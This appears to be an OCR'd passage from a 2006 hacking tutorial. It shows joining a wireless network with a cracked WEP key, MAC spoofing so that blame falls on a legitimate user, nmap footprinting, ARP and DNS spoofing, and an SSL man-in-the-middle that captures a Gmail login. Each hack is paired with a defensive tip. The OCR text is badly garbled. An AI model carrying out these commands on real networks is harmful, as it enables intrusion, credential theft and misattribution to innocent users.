E-mail / all messages usernamemndpasswords anddata SMTP / POP3 / IMAP

Internet account usernamesandpasswords anddata HTTP
Intranet usernamesandpasswords anddata Telnet / FTP
usernamesanddata NFS (RPC) / SMB (NTLM)

At this stage, one can wonder if the missing usessmand passwords for the other (relatively more
secure) services and protocols still stand as algm Odds are quite high that the usernames and
passwords for a given user will be the same thamties we already discovered, no matter the sereice
data (human beings tend to have problems memoriamgnany different passwords).
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lllustration 3: Analyze traffic with Ethereal

GUI:

Reference 3: Insecure vs. “secure” protocols

Why “secure”, quoted ? Though a given protocol rhayconsidered intrinsically secura.e. not known
to have any realistically exploitable weakness maty nonetheless be totally insecure when puttimto
light of its operational environment.

For example, though SSH has a reputation of beingra secure protocol, what would happen if the
person using regularly did so on a computer intesie a Trojan Horse or under the watchful eye of an
illegitimate camera ?

On the other hand, as we just saw, what good weeidire protocols do when usernames, passwords or
data may be obtained through an insecure protddbhstive — and compromised — within the same
infrastructure ?

What does “secure” mean ? It means that all ctifid@rmation — usernames, passwords or data — are
encrypted and may not be obtained through netwafkrg), as we just did. You may say: “but let'sick

the encryption key like we just did for the WEP”yMnswer would be: “Hey, remember, WEP is not
considered as secure any longer”. There are d [motocols out there that manot be cracked as we just
did the WEP key, either because iht feasible or because it is nm&alistically feasible (as of today).

Tip 3: Use “secure” protocols  (difficulty: piece-of-cake to fairly easy)

The table below lists the various protocols usethencontext of different widely-used network sees.
One should definitely try not to use any insecure tocol within its network infrastructure . Mark
my words ! I'm not saying: “use secure protocolsmagh as possible”. I'm saying: “try not to usmey
insecure protocol”.
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Table 6: insecure vs. “secure” protocols

Services Insecure protocols “secure” equivalents
E-mail SMTP / POP3/ IMAP SMTPS/ POP3S/ IMAPS
Internet account HTTP HTTPS
Intranet Telnet/ FTP SSH/FTPS
NFS (RPC) / SMB (NTLM) NFS / SMB, with Kerberos
Remote access ICA (Remote Desktop) ICAhroughlPSecor SSL VPN

TCP/IP

ARP / DNS

no equivalents
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Hack 4: Connect to the wireless network  (difficulty: piece-of-cake)

Now what we have gathered all the information resflji we may connect to our target's network and
penetrate it further. At this stage, we will noalig be hackingany longer. We will just connect to our
target's network as we would legitimately conneadir own network. We'll just use a little pruderaecel

try not to advertise our presence too loudly.

WARNING ! At this stage, we will become veagtiveon the network and may be detected immediately
by security-aware infrastructures !

Configure the wireless connection

Though nice graphical user interfaces (GUI) arelalbke to configure the wireless connection, wel wil
see here how to do it manually.

We will try to be as “silent” as possible, not liely on the Dynamic Host Configuration Protocol (DIPIC

to set our TCP/IP settings — that would immediabsyregistered in the DHCP logs, and raise an aifarm

an Intrusion Detection System (IDS) is active or tietwork. Needless to say that using your own
personal computer, with its network host name sasifyyou.mycompany.net”, would not be wise from

now-on !

Text 13: Configure the wireless connection

root@itching-hacker:~>
vim /etc/sysconfig/network-scripts/ifcfg-rausb0

vim:ifcfg-rausbO

DEVICE=rausb0
TYPE=Wireless
HWADDR=00:06:66:00:06:66
MODE=Managed
ESSID=target-essid
CHANNEL=4

RATE=
IPADDR=192.168.27.64
NETMASK=255.255.255.0
GATEWAY=192.168.27.1
DOMAIN=
DHCP_HOSTNAME=
ONBOOT=no
USERCTL=no
IPV6INIT=no
PEERDNS=yes
BOOTPROTO=none

root@itching-hacker:~>
vim /etc/sysconfig/network-scripts/keys-rausb0

vim:keys-rausb0
KEY=BCDOA2A5ABA6FF3C4D160CECDS5
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Activate the wireless connection
Ready to rock ! We now just need to activate thievagk connection before proceeding further.

Text 14: Activate the wireless connection

root@itching-hacker:~>
ifup rausb0

root@itching-hacker:~>

# Let's check if we are connected
iwconfig rausb0

iwconfig

rausb0 RT2500USB WLAN ESSID:"target-essid" Nickname:"itc hing-hacker"
Mode:Managed Frequency=2.427 GHz Access Point: 00:13:10:9B:50:1F
Bit Rate=54 Mb/s
RTS thr:off Fragment thr:off

Encryption key:BCD0-A2A5-ABA6-FF3C-4D16-0 CEC-D5 Security mode:open
Link Quality=91/100 Signal level:-42 dBm Noise level:-212 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Ready to roll !

“Silently” blending-in

As we said, we chose here to be as “silent” asilplesdVell... there is no being “silent” to a carky
listening hear. Actually, as of now, we may evendgeeaming our presence loudly to the network
security officer in charge ! But again, as of todmp many -most— infrastructures just lack the mean to
detect an intrusion. So, any precaution taken isarfajust for the sake of it. So what ?

Now considering an infrastructure that has no detecsystem, but was aware enough of available
security measures to lock its network down, we aye to choose for one way or the other in order to
connect to the network and be able to accessstairees.

As we will see in the next chapter, one could makee that only known physical (MAC) and/or
network (IP) addresses are allowed on the netwRitkdeal ! The monitoring performed during our firs
hack gave us a list of legitimate users, along withir MAC and IP addresses. Let us then just boao
legitimate user's MAC and IP addresses, and thblgmois (almost) solved ! This technique is called
“spoofing”, a term that most readers will certaifigive already heard, and is easily achieved urder t
Linux environment. But now, what happens if theitietate user is active at the time we spoof his
addresses ? It won't work ! Worse, the legitimaseruwwill immediately experience problems and go
screaming after his network administrator. Fortalyatby their very nature, wireless networks areed
towards roaming users. Odds are thus quite goddotia of our friendly legitimate users will just go
away and let us use his addresses without raisiggcanflict. Problem solved ! Better still, spodjim
legitimate user's addresses, and using his datsernames and passwords — will make any inquiry or
detection first point to him instead of us, in ttese we are ever detected. By that time, we'llobg |
gone...

Text 15: MAC address “spoofing”

root@itching-hacker:~>

ifconfig rausb0 hw ether 00:06:66:00:06:66 # spoofi ng a MAC address
# PS: actually cheating; my Linksys WUSB54G WiFi ad apter does not let me do
# that... but others do !
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Tip 4.a: Safeguard your network  (difficulty: technical to nightmare)

As we just saw, once in possession of the WEP é@ynecting to our target's network is just a matifer
configuring our own wireless network connection ryppiately. Security has been compromised and
access to our target's data is granted. Bad. &ty b

In that case, a security-concerned infrastructwiees would like to be informed immediately of whsat
going on. Actually, maybe the hacker didt need to go through our three previous hacks to getess
to the network. Maybe a disgruntled employee and/dlittle persuasion — what is called “social
engineering” in the jargon — just gave our hackerg piece of required information, without him hay

to switch his computer on. This is where Intrudizetection Systems (IDS) come handy.

The role of an Intrusion Detection System is to rmynall what is going on the network, detect all
abnormal situations, and report it — even raisealanm — to the person in charge. A carefully set up
detection system will keep a watchful eyes on ety and pieces of the network. In our case, itildo
first have raised the alarm as we started injegbagkets into the wireless network while crackihg t
WEP key. It then would have screamed out loud a®btained our network settings from the DHCP,
while connecting to the network. It would also hdeen highly offended and protesting if we used a
network address (IP) that was not “cleared” to himwhen we “borrowed” the one corresponding to
another registered physical address (MAC). It waalkb have started complaining if some data were
accessed at an unusual time, or if a user seensdrtdilling his credentials — username and pasdw-

too quickly, in response to the request of too mseryices. Turned into an Intrusion Prevention &yst
(IPS), it could also have automatically shut dowa tompromised services — or even the entire n&twor
—in order to prevent us from hacking our way farti. Et cetera..

Unfortunately, Intrusion Detection Systems areicliit to set up. Configuring an IDS so it monitors
everything, complains only when it should, andsaamppropriately, requires a good knowledge of the
infrastructure and good technical skills. Nowadamne IDS — such as for example the stan&arakt
installable package, available on most Linux disttions — work “out-of-the-box” and provides a deice
startat intrusion detection. Making the infrastructurgldt-proof nonetheless will need the expertisa of
specialist.

Tip 4.b: Lock your network down  (difficulty: technical to nightmare)

A technique that proves very efficient withired networks consists in registering and matching every
network (IP) and physical (MAC) addresses to onenore physical network ports (plugs). That way,
access to the network would be denied to a potehaaker simply because the network (IP) and
physical (MAC) addresses he “spoofed” would notahathe network port (plug) expected. Unless of
course if he succeeded to reach the right portgghadonnected to it. But then, you would have a&sev
physical security issue at hand ! This techniqupusinto place through so-called “static ARP table
which we will learn more about in the next hacke($g 5: Statistically map your network

Unfortunately, this technique doastwork with wireless networks, since they have noiemjant to the
physical network ports (plugs) mentioned above.

But as we will see later, locking down théred part of the network may preventarelesslyconnected
hacker to perform some of his misdeeds.
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Part Three — Wired Network Hacking

Introduction

In the previous part, we succeeded to crack owgetar wireless network and connect to its network
infrastructure, “silently” blending-in as we “speaf’ a legitimate user's network settings. As we,saw
without actively searching for valuable information — in other worjlst passively sniffing what was
going around — we managed to obtain critical infation, such as usernames and passwords, along some
data (the data that legitimate users accesseddihithke network). But what if that is not enough Ranf

the information we seek never shows up in our swgjffogs ?

Once connected to our target's network — eitheutyin hacking its wireless network or plugging iato
accessible network plug (that would be a major @aysecurity breach... but what if I?) - we masrst
digging deeper.

In the following pages, we will identify each andeey host or service on the network — what is chlle
“network footprinting” - and gather as much teclahimformation as we can, in order to find a way to
hack our way further in. We will also perform hadksorder to make our targetgired network as
transparent to our sniffing as its wireless netwisrlacting as an undetected “man-in-the-middle/esa
dropper.

Every hack performed as of now requisegtive measuresi.e. sending data instead of merely receiving
them. As soon as you send data on a network, yoprane to detection. As we saw beforehand, has t
job of an Intrusion Detection System (IDS) to watish network and spot suspicious activity — data —
order to raise the alarm and prevent the intrualérack his way further in. So, time for another miag...

WARNING ! Every hack described in this section may be detected ohatedy by security-aware
infrastructures !

Unfortunately —again— most home or small company infrastructures are depved of any mean to
detect network intrusion. Even if a rather advanced anti-virus softwarefquers some intrusion
detection analysis, odds are quite good that theing message given to the user will just be dedr
as “just another technical gibberish message”.
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Hack 5: Network hosts footprinting  (difficulty: piece-of-cake)

Though we may gather a lot of information about tleéwork hosts and services through our wireless
network sniffing — consciously analyzing the trafflowing through the “air’will give us alot of
valuable information — we may want or need to makes we identifiedeach and every hosts and
services. In other words, we need to “footpring tietwork thoroughly.

Nmap

Quoted directly from its official website kitp://www.insecure.org/nmap- “Nmap ("Network Mapper")
is a free open source utility for network explasatior security auditing”. Again, it is a pretty comn
tool in the Linux realm and readily available adrstallable package in most distributions.

Network hosts discovery with Nmap
We will now use Nmapo obtain the list of all network hosts on our &ig infrastructure.

Text 16: Network hosts discovery with Nmap

root@itching-hacker:~>
nmap -n -sP 192.168.27.0/24 # scan the entire 192.168.27.xxx subnet

nmap

Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-05-22 12:34 CEST
Host 192.168.27.1  appears to be up.

MAC Address: 00:13:10:9B:50:1D (Cisco-Linksys)

Host 192.168.27.2  appears to be up.

MAC Address: 00:12:17:71:29:B3 (Cisco-Linksys)

Host 192.168.27.3  appears to be up.

MAC Address: 00:0F:66:86:32:C3 (Cisco-Linksys)

Host 192.168.27.8  appears to be up.

MAC Address: 00:11:85:FA:72:F7 (Hewlett Packard)

Host 192.168.27.9 appears to be up.

MAC Address: 00:13:21:72:65:0E (Hewlett Packard)

Host 192.168.27.16  appears to be up.

MAC Address: 00:40:63:DE:56:FB (VIA Technologies)

Host 192.168.27.32  appears to be up.

MAC Address: 00:E0:7D:C0:56:FA (Netronix)

Host 192.168.27.33 appears to be up.

MAC Address: 00:10:7A:68:7C:73 (AmbiCom)

Host 192.168.27.64 appears to be up.

Nmap finished: 256 IP addresses (8 hosts up) scanned in 5.384 seconds

Wow !...

Nslookup

Nslookup is a Linux “built-in” command that allows to quettye “directory pages” of a network — the so-
called Domain Name Servers (DNS) — and obtain foreddal informations about registered network
hosts, such the correspondence between their himeadty name and their network (IP) address.
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Network hosts names with Nslookup

Provided a “directory” — a Domain Name Server (DNSs available on our target's network — and it
most certainlywill — we can learn a little more about its hosts.

Text 17: Obtaining “directory” information with Nebkup

root@itching-hacker:~>
nslookup 192.168.27.1  # get name of host at IP 192.168.27.1

nslookup

Server: 192.168.27.16
Address: 192.168.27.16#53

1.27.168.192.in-addr.arpa name = gateway.target.net

Cool !

Gathered information

So we now have a list of all hosts — routers, caemgy printers, etc. — connected to our targetwaond,
with some good clues about what each does.

Table 7: Gathered information (hack 5)

Physical address Logical address Name Role (clue)
00:13:10:9B:50:1D 192.168.27.1 gateway.target.net | Obvious, no !?!
00:12:17:71:29:B3 192.168.27.2 bridge.target.net | Would that be a wireless bridge ?
00:0F:66:86:32:C3 192.168.27.3 psus4.target.net Linksys PSUS4 switch/print-server [P
00:11:85:FA:72:F7 192.168.27.8 hplj1320.target.net |HP LaserJet 1320 ?
00:13:21:72:65:0E 192.168.27.9 hpij6940.target.net | HP Inkjet 6940 ?
00:40:63:DE:56:FB | 192.168.27.16 server.target.net | Obvious, no !?!
00:E0:7D:C0:56:FA |192.168.27.32 pcO01.target.net A standard client PC ?
00:10:7A:68:7C:73 192.168.27.33 pc02.target.net A standard client PC ?
no information 192.168.27.64 no information That's us !

A gateway, with its physical address quite the sameur target's wireless access point... A bridgest
likely a wireless network bridge connecting twotpasf our target's network through the “air” (good
are already able to sniff all that traffic)... A Nvadvertised server — the best place to look faiuable
information... Two client PCs... Two printers antd&B print-server... A very nice Small Office or iHe
Office (SOHO) network ! We happy !

Reference 5: Physical vs. logical network addresses — ARP

If we were to compare a computer network to a atyl how the postman were to deliver mail to its
various inhabitants, we would compare each househosts, each address (e.g. 'Main Street 21#eto
network logical (IP) address, and each geograpHamdtion (e.g. 40°27'45" N / 5°19'23” E) to the
network physical (MAC) address.

As you can imagine, the first time the postman sdedleliver a letter to a given address, he veadto
find out where that is (geographically speakingg. Wll use a map, with a street index, to find the
exact location of the recipient's house, and hogeloto it. On a computer network, things happeitequ
the same way. The first time a network host muathieanother, he will ask the network to tell which
“geographical location” — physical (MAC) addressnatches the given “mailing address” — logical (IP)
address of the desired recipient. But instead ofgua map, astandardlyset up network will have the
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sender use a broadcasting mechanism, asking edafvary other host if he matches the given “mailing
address”, and if so, to return him its “geographioceation”. Exactly as if the postman, still aetpost-
office, started to shout loudly, so everyone caar lem: “who has the address 'Main Street 217" atWh
is your geographical location ?”. This mechanismakled the Address Resolution Protocol (ARP). Once
the physical and logical addresses have been eotatiine sender will keep them in its ARP tablest as
the postman will remember, as long as his memdoyval where 'Main Street 217’ lies.

Unfortunately, the very way this mechanism is dest makes it very easy to “hack”. First of all,
everyone is supposed to answer the postman's tg@RB request) if he ever wants mail to be debder

to him. That's why Nmap allowed us to obtain themoek hosts list so easily. Then, everyone knows
where each other lies, just by listening to thetqpas's shouts (the ARP traffic). Finally, what ihasty
competitor (a “hacker”) shouted loudly enough tckelais response heard by the postman instead of the
legitimate recipient's, thus receiving the maihis place ? On a network, that is called “ARP spuayf

and is a commonly used hack, which we'll use later.

Tip 5: Statistically map your network  (difficulty: technical to nightmare)

Disabling the Address Resolution Protocol (ARPy@étther -i.e. disabling the ARP mechanism on each
and every host on the network — allows to preveahynhacks from succeeding. But this can only be
done with the drawback of a quite high administetiurden, each and every network host needing to b
informed manually — by the network administratayf-the other hosts' details, thanks to so-calkdtic
ARP tables”.

Along with the previous tip (se&ip 4.b: Lock your network down this technique will prevent both
physical (MAC) address and ARP responses “spoofinyhen implemented throughout the entire
network, this technique will also guarantee thatllegitimate wired host — hacker — is able to connect to
the network and communicate with its legitimatetbos

Unfortunately,wirelessnetworks will still be prone to physical (MAC) adds “spoofing” and traffic
sniffing, the latter allowing the hacker to patigriduild its own static ARP tables based on thehexges
taking place between legitimate hosts of the nétwor
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Hack 6: Reroute and intercept traffic  (difficulty: piece-of-cake)

While sniffing traffic on awired network was easily feasible a few years ago — befewitching”
technology replaced the former network “hubs” -takes some more hacking nowadays, in order to
“convince” wired hosts to send their traffic thrduthpe sniffer instead of directly one to another.

With the advent of switching, all traffic betweemot hosts is flowing directly from one host to thber,
following the shortest possible route, without exeaching any other hosts (exactly the oppositeres
goes on in a wireless network, where all wirelesst$ necessarily receival the wireless traffic).
“Fortunately” again we can quite easily have the network behavedhetowards our sniffing objectives
and reroute the traffic from our target's host talgaour sniffing device, and then forward to itgitienate
destination.

DSniff

The variousDSniff utilities are especially useful to hack switchededginetworks. Similarly to Aircrack,
DSniff is totally devoted to hacking purposes, tlowuite not as officially well supported... buillst
visit http://mww.monkey.org/~dugsong/dsnifT his software package is available only as (C/)Cseurce
code and will require some fixes to get compiledatest distributions, such as my Fedora Core 5.

Fragrouter

Fragrouter is another tool that proves quite handy, allowim@asily transform our hacking device into a
network (re-)router. This tool is also availabldyoas (C/C++) source code and compiles without any
complication under Fedora Core 5. On the other haupdoves quite difficult to obtain, its “officiaweb

site —http://www.anzen.com/research/nidsbench/fragroutéml| — being unreachable as | write these
lines.

Reroute traffic with Arpspoof and Fragrouter
First of all, let's start our (re-)router and ketun in the background.

Text 18: Forward traffic with Fragrouter

root@itching-hacker:~>

echo 1 > /proc/sys/net/ipv4/ip_forward # enable IP forwarding
fragrouter -B1 # re-route IP traffic

fragrouter
fragrouter: base-1: normal IP forwarding

Then, let's make our target host believe thvamare its gateway. What are we exactly doing heree?avg
are actually shouting louder than the legitimatsthothe gateway — where our target shall senaitsc
for the Internet. We are actually “spoofing” thedkdss Resolution Protocol (ARP) !
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Let's launchArpspoof (part of the DSniff package) and let in run in Beekground.

Text 19: ARP “spoofing” with Arpspoof

root@itching-hacker:~>

arpspoof -i ethO -t 192.168.27.33 192.168.27.1  # spoof the gateway
arpspoof

0:14:c2:d7:75:a4 0:10:7a:68:7¢:73 0806 42: arp reply 192.168.27.1 is-at
0:14:¢c2:d7:75:a4

<.>

root@itching-hacker:~>

arpspoof -i ethO -t 192.168.27.1 192.168.27.33  # the other way around
arpspoof

0:14:c2:d7:75:a4 0:13:10:9b:50:1d 0806 42: arp reply 192.168.27.33 is-at
0:14:c2:d7:75:a4

<.>

The gateway — 192.168.27.1 — lying at 0:14:c2:d&&%our physical address) ? No way ! The legitemat
physical address is 00:13:10:9B:50:1D, remembeut?Br target — 192.168.27.33 — will believe us !

Let's see if that was efficient and if we can sadme traffic (using Ngrep).

Text 20: HTTP traffic monitoring with Ngrep

root@itching-hacker:~>
ngrep -q -d eth0 *” tcp port 80

ngrep
interface: ethO (192.168.27.0/255.255.255.0)
filter: (ip) and ( tcp port 80 )

T 192.168.27.33 :39273 ->  66.249.85.104 :80 [AP]

GET / HTTP/1.1..Host: www.google.ch..User-Agent: Mozilla/5.0 (X11; U; Linux
i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/l .5.0.3-1.1.fc5 Firefox/1.5
<.>

T 66.249.85.99 :80-> 192.168.27.33 :42437 [A]

HTTP/1.1 200 OK..Cache-Control: private..Content- Type: text/html..Content-E
ncoding: gzip..Server: GWS/2.1..Content-Length: 1 580..Date: Mon, 22 May 200
6 16:15:26 GMT............... W.r6..@.Z....f,. e WSENLn e

<.>

Yes ! Hacking completed !

Tip 6: Prevent ARP spoofing (difficulty: technical to nightmare)

Remember that iktatic ARP tables were used, none of this would have hmwssible. Seelip 5:
Statistically map your network
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Hack 7: Secured (SSL) web connection sniffing (difficulty: fairly easy)

Now, traffic rerouting and sniffing being at oumtuk be it on a wirelessr a wired network, what's next ?
Why not try to break in those “secure” protocolswentioned before ?

Though the “secure” protocols mentioned eardisx secure from a technically-speaking point of view,
any protocol,any system, is prone to human error. One may use tastieo-date uncrackable encryption
system on his cell phone, what good would it dbito if we merely used a microphone and an emitter t
listen to his conversation ? Where lies the humaor € In that case, speaking loudly enough for our
microphone to hear the “clear” (non encrypted) rages and not thinking that the security of tharent
system may be null if attacked where no security puat into place.

Dealing with “secure” protocols, we may actuallyoyoke a situation where the connection becomes
entirely insecure, just because the target doeshimtk that one single click may compromise tharent
system. This scenario unfortunately occway too ofted “Oh d*** ! Again one of those technical
gibberish message ! Let's get rid of it I". Andréhgou are caught !

Our objective for this hack is to re-route all firafrom our target's host to ours, then make lidve that
our target's “secure” web site is actually hosteduor hacking device, which will have its own “segu
web server to pose as thedn-in-the-middlé Since our “secure” server will use our own kexe will
be able to decrypt the traffic between us and @m-suspicious target's host, before forwarding ithie
genuine target's web site. This hack is certainé/rhost complex we achieved so far, since we \a\ieh
to pull together many elements.

OpenSSL

Many “secure” protocols nowadays rely on the SeSoeket Layer (SSL) to achieve a secemerypted
signedand authenticatedconnection between two hosts. Encrypted meanincatieal data content is
genuinelyunaccessible to an eaves dropper. Signed meanendatia content received by the recipient
beinggenuinelyidentical to what the sender sent. Authenticatedmmg the sender genuinelywho he
pretends to be,

OpenSSLis the open source very official implementationtlod Secure Socket Layer (SSL) protocol,
allowing network hosts to communicate througheauinelysecure channel — well, stikis of today- and
providing many tools to setup such a channel. hleedily available as an installable package ontmos
Linux distributions and very well supported, troughown official web site -http://www.openssl.org-

or through the expertise of all those who useti¢esively.

Creating SSL certifcates with OpenSSL

For our purpose of breaking in the secured comnatioic channel between our target and a SSL-based
web site (through the HTTPfrotocol), we first need to create a certificdtattlooksas closely as
possibleas the target's web site SSL certificate.

WARNING ! Impersonating someone else and steal his idebityt a web server and its certificate, is
highly illegal !
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First, we create the certificate private key.

Text 21: Create a RSA private key with OpenSSL

root@itching-hacker:~>
openssl genrsa -out private.key 1024

openssl
Generating RSA private key, 1024 bit long modulus

S
e is 65537 (0x10001)

Then, we create a certificate public key requestesponding. Here, we should supply the informatemn
match our target's web site certificate... whichwikknot do here for the sake of clarity... anddéty.

WARNING ! Impersonating someone else and steal his idebiityt a web server and its certificate, is
highly illegal !

Text 22: Create a certificate request with OpenSSL

root@itching-hacker:~>

openssl req -new -key private.key -out  request.csr

openssl

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Dis tinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,
If you enter "', the field will be left blank.

Country Name (2 letter code) [GB]: CH

State or Province Name (full name) [Berkshire]: State

Locality Name (eg, city) [Newbury]: City

Organization Name (eg, company) [My Company Ltd]: The Itching Hacker Guide to the
Galaxy

Organizational Unit Name (eg, section) []:

Common Name (eg, your name or your server's hostnam e)[l: www.itching-

hacker.domain
Email Address []:

Please enter the following 'extra’ attributes
to be sent with your certificate request

A challenge password []:

An optional company name []:

Eventually, we create and (self-)sign the publititeate for our illegitimate “secure” web site.

Text 23: Create a public certificate with OpenSSL

root@itching-hacker:~>

openssl x509 -req -days 365 -in request.csr -signkey  private.key -out public.crt
openssl

Signature ok

subject=/C=CH/ST=State/L=City/O=The ltching Hacker Guide to the

Galaxy/CN=www.itching-hacker.domain
Getting Private key

And here we are !
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Intercepting SSL encrypted traffic with Webmitm and Dnsspoof

Now that we have our own encryption, signature authentication material ready, we may proceed. The
first step, as in the previous hack, is to allow loacking device to (re-route) traffic as it flothsough it.

Text 24: Forward traffic with Fragrouter

root@itching-hacker:~>

echo 1 > /proc/sys/net/ipv4/ip_forward # enable IP forwarding
fragrouter -B1 # re-route IP traffic

fragrouter
fragrouter: base-1: normal IP forwarding

Then, we launchVebmitm (part of the DSniff package), our own “secure” veie server, with our own
certificate. It will relay transparently all tradfireaching him to the genuine destination web.sg&cept
that all “secure” traffic will be decrypted (befdbeing re-encrypted for the genuine destination sits).

Text 25: Man-in-the-middle HTTPS server with Webmit

root@itching-hacker:~>

cat private.key public.crt > webmitm.crt # compile the complete certificate
webmitm # launch the HTTP/S web forwarder

webmitm
webmitm: relaying transparently

Next, we shall make our target's host believe tinatdestination web site it is trying to reach abijuis
hosted orour hacking device. Let's laundbnsspoof(part of the DSniff package), in order to perform
this so-called “DNS spoofing”.

Text 26: DNS “spoofing” with Dnsspoof

root@itching-hacker:~>
vim dnsspoof.hosts

vim:dnsspoof.hosts
192.168.27.64  *.google.com

root@itching-hacker:~>

dnsspoof -i ethO -f dnsspoof.hosts
dnsspoof
dnsspoof: listening on ethO [udp dst port 53 and no t src 192.168.27.64]

Everything being in place, we now just have tooete the “directory” traffic from our target's hpst
order to give him the wrong logical (IP) networldagss when it will ask for it.

Text 27: ARP “spoofing” with Arpspoof

root@itching-hacker:~>
arpspoof -i ethO -t 192.168.27.16 192.168.27.33  # spoof the DNS server

arpspoof

0:14:c2:d7:75:a4 0:10:7a:68:7¢:73 0806 42: arp reply 192.168.27.16 is-at
0:14:¢c2:d7:75:a4

<.>
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Now, as traffic is directed from our target's himsbur target's “secure” web site, we will seeppear in
the “clear” on our screen !

Text 28: HTTPS traffic sniffing with Webmitm

webmitm

<..>
POST /accounts/ServiceLoginAuth HTTP/1.1
Host: www.google.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504
Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text

Accept:

text/xml,application/xml,application/xhtml+xml,text /html;g=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 300

Connection: keep-alive

Referer:

https ://www.google.com/accounts/ServiceLogin?service=mai |&passive=true&rm=false&
continue= https %3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtmi%26zy  %3DI&Itmpl=yj_b
lanco&ltmplcache=2

Cookie: GoogleAccountsLocale_session=en;
PREF=ID=b675f4c5e7d866c4:TM=1134303040:LM=113430304 0:S=__ok_ZjZIrBACh3i; TZ=-
120; GMAIL_RTT=606; GMAIL_LOGIN=T1148324945278/1148 324945278/1148324983031
Content-Type: application/x-www-form-urlencoded

Content-Length: 177

Itmpl=yj_blanco&ltmplcache=2&continue= https  %3A%2F%2Fmail.google.com%2Fmail%2F%3F
&service=mail&rm=false&ltmpl=yj_blanco& Email=itching-

hacker&Passwd=gottcha  &rmShown=1&null=Sign+in

<..>

Yeah!

Reference 7: Public Key Infrastructure certificates

As we introduced OpenSSL, we mentioned it beinglved in most “secure” protocols used as of today.
How is that so ? Actually, the Secure Socket LajE®L) relies heavily on the (X.509) Public Key
Infrastructure (PKI) and its cryptographic capdi@s — encryption, signature and authenticationhickv
are considered nowadays as the best of what caohieved.

The ability offered by a PKI certificate tonambiguously authenticaies owner is one that normally
should prevent any “man-in-the-middle” attack, sastthe one we just carried out. How could it sedce
then ?

Explaining the entire concept of the “chain of tfuhat lies behind any Public Key Infrastructuee i
beyond the scope of this document. I'll nonetheligs® give it a short tryEverylegitimate certificate —
used for example to authenticate a web servemensially signed by a trusted partyvhich certificate
(public key) is stored in your computer or your wabwser (somehow built-in), in order to allow ytau
verify the authenticityf the certificates signed with it. On the contramg illegitimate certificate may
technically be signed by this trusted party, sincene can obtain the private key required to do so

Now, what happens when someone creates an illeggircertificate, as we just did ? It witiise an
alert, telling you thaits authenticity cannot be verifiedince it isnot signed by a trusted party

Tip 7: Double-check the certificates used  (difficulty: piece-of-cake)

In other words, one should definitetpke great care in reading any alert message coneeng
certificates authentication or signature issues angerify thoroughly the certificates information. No
company concerned with network security will usetiieates that would raise such an alert. In other
words, when dealing with security-concerned webssi such as the ones from financial institutions o
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well-known companies — or any web site claimingatter good security,receiving a certificate
authentication or signature alert most likely point to a security breach

The hack we just performedid raise such an alert. Using Firefox as web browisdooked like the
following illustration.

lllustration 4: FirefoxSSL authentication alert

Firefox

Actually, Firefox even complaingevice about our using an illegitimate certificate !

lllustration 5: Firefoxauthentication alert

Firefox
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In our case, examining the certificate's informatwould have made it obvious that somethimzarre
was going on.

[llustration 6: Firefoxcertificate information

Firefox

Eventually,when in doubt, ask your network or system administator. He's a jerk, but he knows when
you're being cheated !
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Hack 8: Network services footprinting (difficulty: piece-of-cake)

Each and almost every host on a network offersafieet “network services”. These services may be the
ability for aremotehost to: access the files stored on the local Heskl (file sharing), print on the locally
connected printer (printer sharing), browse thetaanof a web site (web server), exchange audio and
video (Voice-over-1P), obtain “directory” informath (e.g. DNS server), send centralized monitoring
information (system logger), etc.

“Unfortunately”, offering a service to the netwarkplies running a software element — a “program” —
and complying with a protocol, each or both beindnerable to attacks. As we just saw, the Address
Resolution Protocol (ARP) is a good example of mexable protocol. As is the WEP encryption and
authorization “service” of wireless networks. As amnany protocols. On the other hand, the software
responsible to offer a given service may have vialniéties, which in case of a violation of the fwool,
may sometimes lead too often actually— to a result exploitable by a hacker. The “bufbeerflow”
exploits, which most readers may certainly haveded are good examples of such vulnerabilitidse T
rhythm at which software suppliers keep releasipdates to patch these vulnerabilities gives an alea
how many of those are available out there to béodeg.

Text 29: Network services discovery with Nmap

root@itching-hacker:~>

nmap -n 192.168.27.0/24 # scan the entire 192.168.27.xxx subnet

nmap

Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-05-22 15:20 CEST
Interesting ports on 192.168.27.1

(The 1672 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

MAC Address: 00:13:10:9B:50:1D (Cisco-Linksys)

<.>

Interesting ports on 192.168.27.3

(The 1668 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE

80/tcp open http

139/tcp open netbios-ssn

515/tcp open printer

631/tcp open ipp

9100/tcp open jetdirect

MAC Address: 00:0F:66:86:32:C3 (Cisco-Linksys)

<.>

Interesting ports on 192.168.27.16

(The 1666 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http

143/tcp open imap

443/tcp open https

465/tcp open smtps

993/tcp open imaps

MAC Address: 00:40:63:DE:56:FB (VIA Technologies)

<.>

Nmap finished: 256 IP addresses (9 hosts up) scanned in 79.272 seconds

Network services discovery with Nmap

Once again, we will use Nmap, in orderobtain the list of all network services avaibh all hosts on
our target's infrastructure.
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Hosts software discovery with Nmap

The operating system (Windows, Linux, Mac OS, gtaeing the biggest software running on a network
host, and thus the more likely to have exploitakhimerabilities, it may also be interesting to haverst
guest about which-which.

Besides, since we gathered a list a available @s\wn each host, it may also prove useful to kwbwh
software actually offers each service.

Text 30: Host software discovery with Nmap

root@itching-hacker:~>
nmap -n -sS -A 192.168.27.16

# scan the network host 192.168.27.16

nmap

Starting Nmap 4.03 ( http://www.insecure.org/nmap/

Interesting ports on 192.168.27.16

(The 1660 ports scanned but not shown below are in

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Exim smtpd 4.62

53/tcp open domain
80/tcp open http

